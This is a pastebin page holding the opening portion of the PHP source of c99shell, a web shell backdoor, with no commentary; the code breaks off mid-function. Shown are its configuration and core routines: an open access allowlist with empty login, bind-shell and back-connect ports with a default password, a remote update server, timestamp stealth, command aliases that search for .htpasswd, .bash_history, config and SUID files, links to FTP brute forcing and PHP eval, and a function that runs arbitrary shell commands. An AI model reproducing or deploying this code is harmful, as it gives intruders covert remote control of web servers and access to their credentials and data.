pastebin - collaborative debugging

pastebin is a collaborative debugging tool allowing you to share and modify code snippets while chatting on IRC, IM or a message board.

This site is developed to XHTML and CSS2 W3C standards. If you see this paragraph, your browser does not support those standards and you need to upgrade. Visit WaSP for a variety of options.

PHP pastebin - collaborative debugging tool View Help


Posted by Cyberheb on Wed 3 Oct 01:17
report abuse | View followups from Anonymous | download | new post

  1. <?php
  2. //Starting calls
  3. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  4. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  5. define("starttime",getmicrotime());
  6. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  7. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  8. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  9.  
  10. $shver = "1.0 pre-release build #16"; //Current version
  11. //CONFIGURATION AND SETTINGS
  12. if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
  13. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
  14. else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
  15. }
  16.  
  17. $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
  18.  
  19. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  20. if (empty($surl))
  21. {
  22.  $surl = "?".$includestr; //Self url
  23. }
  24. $surl = htmlspecialchars($surl);
  25.  
  26. $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  27.  
  28. //Authentication
  29. $login = ""; //login
  30. //DON'T FORGOT ABOUT PASSWORD!!!
  31. $pass = ""; //password
  32. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  33.  
  34. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  35. $login_txt = "Restricted area"; //http-auth message.
  36. $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";
  37.  
  38. $gzipencode = TRUE; //Encode with gzip?
  39.  
  40. $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
  41.  
  42. $c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server
  43. $c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server
  44.  
  45. $filestealth = TRUE; //if TRUE, don't change modify- and access-time
  46.  
  47. $donated_html = "<center><b>Owned by hacker</b></center>";
  48. /* If you publish free shell and you wish
  49. add link to your site or any other information,
  50. put here your html. */
  51. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  52.  
  53. $curdir = "./"; //start folder
  54. //$curdir = getenv("DOCUMENT_ROOT");
  55. $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  56. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  57.  
  58. $log_email = "user@host.tld"; //Default e-mail for sending logs
  59.  
  60. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  61. $sort_save = TRUE; //If TRUE then save sorting-position using cookies.
  62.  
  63. // Registered file-types.
  64. //  array(
  65. //   "{action1}"=>array("ext1","ext2","ext3",...),
  66. //   "{action2}"=>array("ext4","ext5","ext6",...),
  67. //   ...
  68. //  )
  69. $ftypes  = array(
  70.  "html"=>array("html","htm","shtml"),
  71.  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  72.  "exe"=>array("sh","install","bat","cmd"),
  73.  "ini"=>array("ini","inf"),
  74.  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  75.  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  76.  "sdb"=>array("sdb"),
  77.  "phpsess"=>array("sess"),
  78.  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  79. );
  80.  
  81. // Registered executable file-types.
  82. //  array(
  83. //   string "command{i}"=>array("ext1","ext2","ext3",...),
  84. //   ...
  85. //  )
  86. //   {command}: %f% = filename
  87. $exeftypes  = array(
  88.  getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  89.  "perl %f%" => array("pl","cgi")
  90. );
  91.  
  92. /* Highlighted files.
  93.   array(
  94.    i=>array({regexp},{type},{opentag},{closetag},{break})
  95.    ...
  96.   )
  97.   string {regexp} - regular exp.
  98.   int {type}:
  99. 0 - files and folders (as default),
  100. 1 - files only, 2 - folders only
  101.   string {opentag} - open html-tag, e.g. "<b>" (default)
  102.   string {closetag} - close html-tag, e.g. "</b>" (default)
  103.   bool {break} - if TRUE and found match then break
  104. */
  105. $regxp_highlight  = array(
  106.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  107.   array("config.php",1) // example
  108. );
  109.  
  110. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
  111.  // array (i=>{letter} ...); string {letter} - letter of a drive
  112. //$safemode_diskettes = range("a","z");
  113. $hexdump_lines = 8;// lines in hex preview file
  114. $hexdump_rows = 24;// 16, 24 or 32 bytes in one line
  115.  
  116. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  117.  
  118. $bindport_pass = "c99";  // default password for binding
  119. $bindport_port = "31373"; // default port for binding
  120. $bc_port = "31373"; // default port for back-connect
  121. $datapipe_localport = "8081"; // default port for datapipe
  122.  
  123. // Command-aliases
  124. if (!$win)
  125. {
  126.  $cmdaliases = array(
  127.   array("-----------------------------------------------------------", "ls -la"),
  128.   array("find all suid files", "find / -type f -perm -04000 -ls"),
  129.   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  130.   array("find all sgid files", "find / -type f -perm -02000 -ls"),
  131.   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  132.   array("find config.inc.php files", "find / -type f -name config.inc.php"),
  133.   array("find config* files", "find / -type f -name \"config*\""),
  134.   array("find config* files in current dir", "find . -type f -name \"config*\""),
  135.   array("find all writable folders and files", "find / -perm -2 -ls"),
  136.   array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  137.   array("find all service.pwd files", "find / -type f -name service.pwd"),
  138.   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  139.   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  140.   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  141.   array("find all .bash_history files", "find / -type f -name .bash_history"),
  142.   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  143.   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  144.   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  145.   array("list file attributes on a Linux second extended file system", "lsattr -va"),
  146.   array("show opened ports", "netstat -an | grep -i listen")
  147.  );
  148. }
  149. else
  150. {
  151.  $cmdaliases = array(
  152.   array("-----------------------------------------------------------", "dir"),
  153.   array("show opened ports", "netstat -an")
  154.  );
  155. }
  156.  
  157. $sess_cookie = "c99shvars"; // Cookie-variable name
  158.  
  159. $usefsbuff = TRUE; //Buffer-function
  160. $copy_unset = FALSE; //Remove copied files from buffer after pasting
  161.  
  162. //Quick launch
  163. $quicklaunch = array(
  164.  array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  165.  array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  166.  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  167.  array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  168.  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
  169.  array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  170.  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
  171.  array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
  172.  array("<b>Tools</b>",$surl."act=tools&d=%d"),
  173.  array("<b>Proc.</b>",$surl."act=processes&d=%d"),
  174.  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
  175.  array("<b>Sec.</b>",$surl."act=security&d=%d"),
  176.  array("<b>SQL</b>",$surl."act=sql&d=%d"),
  177.  array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
  178.  array("<b>Update</b>",$surl."act=update&d=%d"),
  179.  array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
  180.  array("<b>Self remove</b>",$surl."act=selfremove"),
  181.  array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
  182. );
  183.  
  184. //Highlight-code colors
  185. $highlight_background = "#c0c0c0";
  186. $highlight_bg = "#FFFFFF";
  187. $highlight_comment = "#6A6A6A";
  188. $highlight_default = "#0000BB";
  189. $highlight_html = "#1300FF";
  190. $highlight_keyword = "#007700";
  191. $highlight_string = "#000000";
  192.  
  193. @$f = $_REQUEST["f"];
  194. @extract($_REQUEST["c99shcook"]);
  195.  
  196. //END CONFIGURATION
  197.  
  198.  
  199. // \/Next code isn't for editing\/
  200. $tmp = array();
  201. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  202. $s = "!^(".implode("|",$tmp).")$!i";
  203. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
  204. if (!empty($login))
  205. {
  206.  if (empty($md5_pass)) {$md5_pass = md5($pass);}
  207.  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  208.  {
  209.   if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  210.   header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  211.   header("HTTP/1.0 401 Unauthorized");
  212.   exit($accessdeniedmess);
  213.  }
  214. }
  215. if ($act != "img")
  216. {
  217. $lastdir = realpath(".");
  218. chdir($curdir);
  219. if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
  220. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  221. if (!is_array($sess_data)) {$sess_data = array();}
  222. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  223. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  224.  
  225. $disablefunc = @ini_get("disable_functions");
  226. if (!empty($disablefunc))
  227. {
  228.  $disablefunc = str_replace(" ","",$disablefunc);
  229.  $disablefunc = explode(",",$disablefunc);
  230. }
  231.  
  232. if (!function_exists("c99_buff_prepare"))
  233. {
  234. function c99_buff_prepare()
  235. {
  236.  global $sess_data;
  237.  global $act;
  238.  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  239.  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  240.  $sess_data["copy"] = array_unique($sess_data["copy"]);
  241.  $sess_data["cut"] = array_unique($sess_data["cut"]);
  242.  sort($sess_data["copy"]);
  243.  sort($sess_data["cut"]);
  244.  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  245.  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  246. }
  247. }
  248. c99_buff_prepare();
  249. if (!function_exists("c99_sess_put"))
  250. {
  251. function c99_sess_put($data)
  252. {
  253.  global $sess_cookie;
  254.  global $sess_data;
  255.  c99_buff_prepare();
  256.  $sess_data = $data;
  257.  $data = serialize($data);
  258.  setcookie($sess_cookie,$data);
  259. }
  260. }
  261. foreach (array("sort","sql_sort") as $v)
  262. {
  263.  if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  264.  if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  265. }
  266. if ($sort_save)
  267. {
  268.  if (!empty($sort)) {setcookie("sort",$sort);}
  269.  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  270. }
  271. if (!function_exists("str2mini"))
  272. {
  273. function str2mini($content,$len)
  274. {
  275.  if (strlen($content) > $len)
  276.  {
  277.   $len = ceil($len/2) - 2;
  278.   return substr($content, 0,$len)."...".substr($content,-$len);
  279.  }
  280.  else {return $content;}
  281. }
  282. }
  283. if (!function_exists("view_size"))
  284. {
  285. function view_size($size)
  286. {
  287.  if (!is_numeric($size)) {return FALSE;}
  288.  else
  289.  {
  290.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  291.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  292.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  293.   else {$size = $size . " B";}
  294.   return $size;
  295.  }
  296. }
  297. }
  298. if (!function_exists("fs_copy_dir"))
  299. {
  300. function fs_copy_dir($d,$t)
  301. {
  302.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  303.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  304.  $h = opendir($d);
  305.  while (($o = readdir($h)) !== FALSE)
  306.  {
  307.   if (($o != ".") and ($o != ".."))
  308.   {
  309.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  310.    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  311.    if (!$ret) {return $ret;}
  312.   }
  313.  }
  314.  closedir($h);
  315.  return TRUE;
  316. }
  317. }
  318. if (!function_exists("fs_copy_obj"))
  319. {
  320. function fs_copy_obj($d,$t)
  321. {
  322.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  323.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  324.  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  325.  if (is_dir($d))
  326.  {
  327.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  328.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  329.   return fs_copy_dir($d,$t);
  330.  }
  331.  elseif (is_file($d)) {return copy($d,$t);}
  332.  else {return FALSE;}
  333. }
  334. }
  335. if (!function_exists("fs_move_dir"))
  336. {
  337. function fs_move_dir($d,$t)
  338. {
  339.  $h = opendir($d);
  340.  if (!is_dir($t)) {mkdir($t);}
  341.  while (($o = readdir($h)) !== FALSE)
  342.  {
  343.   if (($o != ".") and ($o != ".."))
  344.   {
  345.    $ret = TRUE;
  346.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  347.    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  348.    if (!$ret) {return $ret;}
  349.   }
  350.  }
  351.  closedir($h);
  352.  return TRUE;
  353. }
  354. }
  355. if (!function_exists("fs_move_obj"))
  356. {
  357. function fs_move_obj($d,$t)
  358. {
  359.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  360.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  361.  if (is_dir($d))
  362.  {
  363.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  364.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  365.   return fs_move_dir($d,$t);
  366.  }
  367.  elseif (is_file($d))
  368.  {
  369.   if(copy($d,$t)) {return unlink($d);}
  370.   else {unlink($t); return FALSE;}
  371.  }
  372.  else {return FALSE;}
  373. }
  374. }
  375. if (!function_exists("fs_rmdir"))
  376. {
  377. function fs_rmdir($d)
  378. {
  379.  $h = opendir($d);
  380.  while (($o = readdir($h)) !== FALSE)
  381.  {
  382.   if (($o != ".") and ($o != ".."))
  383.   {
  384.    if (!is_dir($d.$o)) {unlink($d.$o);}
  385.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  386.   }
  387.  }
  388.  closedir($h);
  389.  rmdir($d);
  390.  return !is_dir($d);
  391. }
  392. }
  393. if (!function_exists("fs_rmobj"))
  394. {
  395. function fs_rmobj($o)
  396. {
  397.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  398.  if (is_dir($o))
  399.  {
  400.   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  401.   return fs_rmdir($o);
  402.  }
  403.  elseif (is_file($o)) {return unlink($o);}
  404.  else {return FALSE;}
  405. }
  406. }
  407. if (!function_exists("myshellexec"))
  408. {
  409. function myshellexec($cmd)
  410. {
  411.  global $disablefunc;
  412.  $result = "";
  413.  if (!empty($cmd))
  414.  {
  415.   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  416.   elseif (($result = `$cmd`) !== FALSE) {}
  417.   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  418.   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  419.   elseif (is_resource($fp = popen($cmd,"r")))
  420.   {
  421.    $result = "";
  422.    while(!feof($fp)) {$result .= fread($fp,1024);}
  423.    pclose($fp);
  424.   }
  425.  }
  426.  return $result;
  427. }
  428. }
  429. if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
  430. if (!function_exists("view_perms"))
  431. {
  432. function view_perms($mode)
  433. {
  434.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  435.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  436.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  437.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  438.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  439.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  440.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  441.  else {$type = "?";}
  442.  
  443.  $owner["read"] = ($mode & 00400)?"r":"-";
  444.  $owner["write"] = ($mode & 00200)?"w":"-";
  445.  $owner["execute"] = ($mode & 00100)?"x":"-";
  446.  $group["read"] = ($mode & 00040)?"r":"-";
  447.  $group["write"] = ($mode & 00020)?"w":"-";
  448.  $group["execute"] = ($mode & 00010)?"x":"-";
  449.  $world["read"] = ($mode & 00004)?"r":"-";
  450.  $world["write"] = ($mode & 00002)? "w":"-";
  451.  $world["execute"] = (